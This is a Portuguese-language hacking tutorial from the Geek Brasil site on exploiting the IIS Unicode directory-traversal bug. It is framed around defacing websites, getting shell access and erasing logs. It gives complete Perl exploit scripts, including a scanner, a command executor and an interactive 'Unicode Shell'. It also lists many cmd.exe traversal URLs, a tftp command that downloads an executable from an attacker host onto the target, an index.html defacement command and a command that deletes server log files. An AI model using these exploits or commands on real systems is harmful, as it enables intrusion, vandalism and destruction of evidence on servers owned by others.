Hacking Unicode

A inteno deste texto demonstrar como funciona a tcnica do Unicode, e no a de incentivar

que voc saia pela internet desfigurando sites. Ns no nos responsabilizamos pelo mau uso
destas informaes, tudo o que voc fizer ser de sua responsabilidade, ou seja, se voc ser ferrar
o problema seu, ns no temos nada a ver com isso.
Introduo
-----A tcnica do unicode no nova, porm, ela foi e ainda continua sendo uma das tcnicas mais
empregadas para a desfiguraes de sites na internet. Cerca de 50% dos web servers internet
Geek Brasil

www.geekbrasil.com.br

information server 4.0 e 5.0 possuem este bug, isto se deve ao fato de que vrias pessoas que
atuam na rea da gerncia de redes no possuem o conhecimento deste bug. Porem, a microsoft a
muito tempo j lanou um patch de correo para esta falha, o qual se encontra no site
http://microsoft.com/technet/security/bulletin/ms00-057.asp, o qual resolve por
completo o
problema, no necessitando de aes adicionais. A partir de agora, pretendo explicar como se
explora o bug do unicode, e alm de mostrar como se desfigura um site, pretendo tambm mostrar
como se obtm acesso shell, como se envia e executa arquivos no servidor, e tambm como
apagar os log's, entre outras coisas.
Observao:
Algumas das tcnicas necessitaro do uso de exploits, os quais precisam ser compilados. Os
exploits que sero utilizados foram codados na linguagem Perl. Usurios Linux ( a maioria ) j
possuem o compilador Perl em seu sistema, usurios do rWindows (no foi um erro de digitao,
que o windows uma bosta mesmo!) podem fazer download do compilador no site
http://www.perl.com, precisando ainda do programa de instalao do compilador chamado
instmsia.exe, que se encontra neste mesmo site.
A primeira linha do cdigo fonte dos exploits indicam onde o exploit est localizado em seu
computador, voc deve alter-la de acordo com a localizao do diretrio perl/bin em seu
computador.
Exemplo:
#!/usr/bin/perl -> padro
#!/programas\perl\bin -> especificao para onde o compilador se encontra em seu
computador (sistemas windows).
Explorando
--------------Antes de tudo necessrio saber se o host est utilizando o Windows NT ou 2000, e o internet
information server 4.0 ou 5.0, estas informaes podem ser obtidas via implementao de
tcncicas de finger print ou banner, ou ainda, scans que retornam qual sistema operacional e qual
web server esto sendo utilizados pelo host alvo.
O prximo passo saber se o alvo est vulnervel ou no ao bug do unicode, para saber disto
voc pode utilizar scans de vulnerabilidades, como o nessus (linux) ou o twwwscan (windows),
caso o bug do unicode esteje presente, utilize o scan unicodecheck.pl que especifico para essa
falha para ver ser realmente ele est bugado, pois as vezes o scan de vulns mostra a
vulnerabilidade mas o sistema j foi corrigido.
Verificando se o host est bugado atravs do uso do scan especifico:
Localizando o caminho do root:
http://www.host.com/idq.idq
"path not found c:\inetpub\wwwroot\idq.idq
Executando o scan:
perl unicodecheck.pl www.host.com:80 "dir c:\inetpub\wwwroot"
#Sensepost.exe found - Executing [dir c:inetpubwwwroot] on www.host.com:80
#HTTP/1.1 200 OK
#Server: Microsoft-IIS/5.0
#Date: Fri, 12 Jan 2001 13:52:52 GMT
#Content-Type: application/octet-stream
Geek Brasil

www.geekbrasil.com.br

#Volume in drive C has no label.

#Volume Serial Number is 543D-8959
#
# Directory of c:inetpubwwwroot
#
#01/11/2001 05:33p dir .
#01/11/2001 05:33p dir ..
#06/03/1999 09:13p 342 aveia.gif
#06/03/1999 09:13p 1,736 index.html
#01/11/2001 05:33p dir imagens
#09/22/1999 12:58p 7,240 start.asp
#06/03/1999 09:13p 356 manta.gif
#06/03/1999 09:13p 2,806 pagao.gif
#01/11/2001 05:33p 2,497 post.html
#06/03/1999 09:13p 1,046 printing.gif
#06/03/1999 09:13p 1,577 war.gif
#06/03/1999 09:13p 1,182 woowoo.gif
#06/03/1999 09:13p 4,670 zetarock.gif
#01/11/2001 05:33p dir _private
#01/11/2001 05:33p 1,759 _vti_inf.html
#01/11/2001 05:33p dir _vti_log
# 11 File(s) 25,211 bytes
# 5 Dir(s) 1,066,082,304 bytes free
Cdigo fonte do scan
P.S. recorte o cdigo fonte e cole-o em um arquivo que dever ser salvo com o nome
unicodecheck.pl
------------cut here
#!/usr/bin/perl
# Very simple PERL script to test a machine for Unicode vulnerability.
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodecheck IP:port
# Only makes use of "Socket" library
# Roelof Temmingh 2000/10/21
# roelof@sensepost.com http://www.sensepost.com
use Socket;
# --------------init
if ($#ARGV<0) {die "Usage: unicodecheck IP:port\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "Testing $host:$port : ";
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;}}
# ---------------test method 2
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;}}
Geek Brasil

www.geekbrasil.com.br

# ---------------result
if ($flag==1){print "Vulnerable\n";}
else {print "Safe\n";}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
------------ cut here
Estudando o servidor
----------------------------Voc pode utilizar o browser para visualizar diretrios e arquivos do servidor, ex:
http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
http://server/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir +c:\
http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\
http://server/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\
http://server/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\
P.S: voc pode utilizar tambm as opes dir+d:\ dir+e:\ dir+f:\ para
visualizar os demais hard disk's/parties do servidor.
o diretrio c:\ no listado, porm todos os outros so.
M0re
-----Copiando arquivos, criando diretrios, escrevendo e deletando arquivos.
Criando diretrios:
http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/
c+md+c:\Manager_fix_this
escrevendo um .txt:
/C+echo+anything+>c:\etc.txt
Copiando:
http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/
Geek Brasil

www.geekbrasil.com.br

c+copy+c:\caca.mdb
Deletando:
http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/
c+del+c:\caca.mdb
Visualizando um txt: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/
system32/cmd.exe?/c+type+c:\caca.txt
Fazendo uploads
----------------------Voc precisar de um servidor ftp instalado em seu computador, no linux pode ser utilizado o tftp.
Exemplo:
http://www.host.com/scripts/..%c0%af../winnt/system32/cmd.exe/c+tftp.exe+"-i"
+200.200.200.200+get+file.exe+c:\destino\file.exe
Entendendo:
tftp - cliente de ftp do windows nt ou 2000, que farah o download do arquivo do seu servidor de ftp.
"-i" - indica que o arquivo que serah enviado ao servidor eh um binrio, quando um arquivo de
texto simples (txt) for enviado, este parmetro pode ser eliminado.
200.200.200.200 - endereo ip do servidor de ftp onde o arquivo a ser enviado para o host estah
armazenado.
get - indica que o arquivo deve ser obtido do endereo ip especificado.
file.exe - nome do arquivo a ser enviado.
c:\destino - diretrio do servidor para onde o arquivo serah enviado.
file.exe - nome que o arquivo ganharah no servidor.
Desfigurando
----------------perl unicodexecute2.pl www.host.com:80
cmd / echo web site defaced > c:inetpub\wwwroot\index.html
codigo fonte do spl01t
P.S. recorte o cdigo fonte e cole-o em um arquivo que dever
ser salvo com o nome unicodexecute2.pl
------- cute here
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
Geek Brasil

www.geekbrasil.com.br

# The script checks for this.

# Thnx to security@nsfocus.com for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# roelof@sensepost.com http://www.sensepost.com
use Socket;
# --------------init
if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
print "Sensepost.exe not found - Copying CMD...\n";
$command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /copied/ )) {$failed2=0;}
}
if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
}
# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command
HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
-------- cut here
Geek Brasil

www.geekbrasil.com.br

Obtendo acesso shell

---------------------------perl unicode_shell.pl www.host.com:80
Cdigo fonte do spl01t
P.S. recorte o cdigo fonte e cole-o em um arquivo que dever
ser salvo com o nome unicode_shell.pl
--------- cut here
#!/usr/bin/perl -w
#
# UNICODE SHELL - by B-r00t.
# A Unicode HTTP exploit for Micro$oft NT IIS WebServers.
#
# First tries to get IIS Server string.
# Scans for usable Unicode URL in 20 different ways.
# Then allows choice of which URL to use including an URL of
# your own design eg. After copying cmd.exe to /scripts.
# Commands are executed via your choice of URL on the target
# server.
#
# URL can be changed at anytime by typing URL.
# The Webserver can be re-SCANed at anytime by typing SCAN.
# Program can be QUIT at anytime by typing QUIT.
# HELP prints this ...
# ENJOY !
use strict;
use IO::Socket;
# Globals Go Here.
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;

# Host being probed.

# Webserver port.
# Command to issue.
# URL being used.
# Results from server.
# Whether to display output.
# Unicode URLS.

# URLS - Feel free to add here.

# $U[0] always used for custom URL.
$U[1] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[2] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[3] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[4] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[5] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[6] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[7] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[8] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[9] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[10] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
Geek Brasil

www.geekbrasil.com.br

$U[11] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[12] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[13] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[14] = "/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\
%e0\%80\%af../winnt/system32/cmd.exe\?/c\+";
$U[15] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[16] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[17] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$U[18] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[19] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[20] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
# SUBROUTINES GO HERE.
&intro;
&scan;
&choose;
&command;
&exit; # Play safe with this .
sub intro {
&help;
&host;
&server;
sleep 3;
};
# host subroutine.
sub host {
print "\nHost : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="localhost"};
print "\nPort : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
# end host subroutine.
# Server string subroutine.
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nTrying to obtain IIS Server string ...";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
$output = $results[$X];
if (defined $output){
if ($output =~/IIS/){ $webserver = "iis" };
};
};
Geek Brasil

www.geekbrasil.com.br

if ($webserver ne "iis"){
print "\a\a\n\nWARNING : UNABLE TO GET IIS SERVER STRING.";
print "\nThis Server may not be running Micro\$oft IIS WebServer";
print "\nand therefore may not be exploitable using the";
print "\nUnicode Bug.";
print "\n\n\nDo You Wish To Cont ... [Y/N]";
my $choice = <STDIN>;
chomp $choice;
if ($choice =~/N/i) {&exit};
}else{
print "\n\nOK ... It Seems To Be Micro\$oft IIS.";
};
}; # end server subroutine.
# scan subroutine.
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nScanning Webserver $host on port $port ...";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
print "\n$host is not vulnerable to Unicode URL Number $loop.";
}else{
print "\a\a\a\n$host IS VULNERABLE TO UNICODE URL NUMBER $loop !!!";
};
};
if ($status eq "not_vulnerable"){
print "\n\nSORRY $host is NOT Vulnerable to the UNICODE
Exploit.";
&exit;
};
}; # end scan subroutine.
# choose URL subroutine.
sub choose {
print "\nURL To Use [0 = Other]: ";
my $choice=<STDIN>;
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
Geek Brasil

www.geekbrasil.com.br

$url = $U[$choice];
print "\nURL: HTTP://$host$url";
}; # end choose URL subroutine.
# Other URL subroutine.
sub other {
print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+";
print "\nHTTP://$host";
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
}; # end other subroutine.
# Command subroutine.
sub command {
while ($command !~/quit/i) {
print "\nHELP QUIT URL SCAN Or Command eg dir C: ";
print "\nCommand :";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; # remove white space.
print "HTTP://$host$url$command";
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
}; # end command subroutine.
# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port
$port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};
while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
}; # end connect subroutine.
# output subroutine.
Geek Brasil

www.geekbrasil.com.br

10

sub output{
print "\nOUTPUT FROM $host. \n\n";
my $display;
# if probe is a for server string display only first 10 lines.
if ($probe eq "string") {
my $X;
for ($X=0; $X<=10; $X++) {
$display = $results[$X];
if (defined $display){print "$display";};
sleep 1;
};
# else print all server output to the screen.
}else{
foreach $display (@results){
print "$display";
sleep 1;
};
};
}; # end output subroutine.
# exit subroutine.
sub exit{
print "\n\n\nIf You Cant B-r00t Then Just B#.";
print "\nByeeeeee ... !!!";
print "\n\n\n";
exit;
};
# Help subroutine.
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n UNICODE SHELL by B-r00t. 2001.";
print "\n Br00tzC0ntactz\@Hotmail.Com ";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n A Unicode HTTP exploit for Micro\$oft NT IIS WebServers.";
print "\n";
print "\n First tries to get IIS Server string.";
print "\n Scans for usable Unicode URL in 20 different ways.";
print "\n Then allows choice of which URL to use including an URL of";
print "\n your own design eg. After copying cmd.exe to /scripts.";
print "\n Commands are executed via your choice of URL on the target";
print "\n server.";
print "\n ";
print "\n URL can be changed at anytime by typing URL.";
print "\n The Webserver can be re-SCANed at anytime by typing SCAN.";
print "\n Program can be QUIT at anytime by typing QUIT.";
print "\n HELP prints this ... ";
print "\n ENJOY !";
print "\n\n\n";
}; # end help subroutine.
# Another fine B-r00t production ...
#
# Thanks To :
# Micro$oft For Being What It Is !
Geek Brasil

www.geekbrasil.com.br

11

# That One Doris ... U-Know-Who-U-R!

# Mum & Dad.
#
#
# B-r00t aka B#. 2001.
# Br00tzC0ntactz@Hotmail.Com
# ICQ 24645508.
# THE END - AMEN.
------ cut here
Deletando log's
-------------------http://host.com/cgi-bin/cmd.exe?/c+del+c:/winnt/system32/logfiles/in010323.log
- EOF -

\!!!!!!/
()
------------oOOO--(_)------------------------| Arquivo baixado da GEEK BRASIL

| O seu portal de informtica e internet

| http://www.geekbrasil.com.br

| Dvidas ou Sugestes?

| webmaster@geekbrasil.com.br

--------------------------oOOO---------------|__| |__|
|| ||
ooO Ooo

Geek Brasil

www.geekbrasil.com.br

12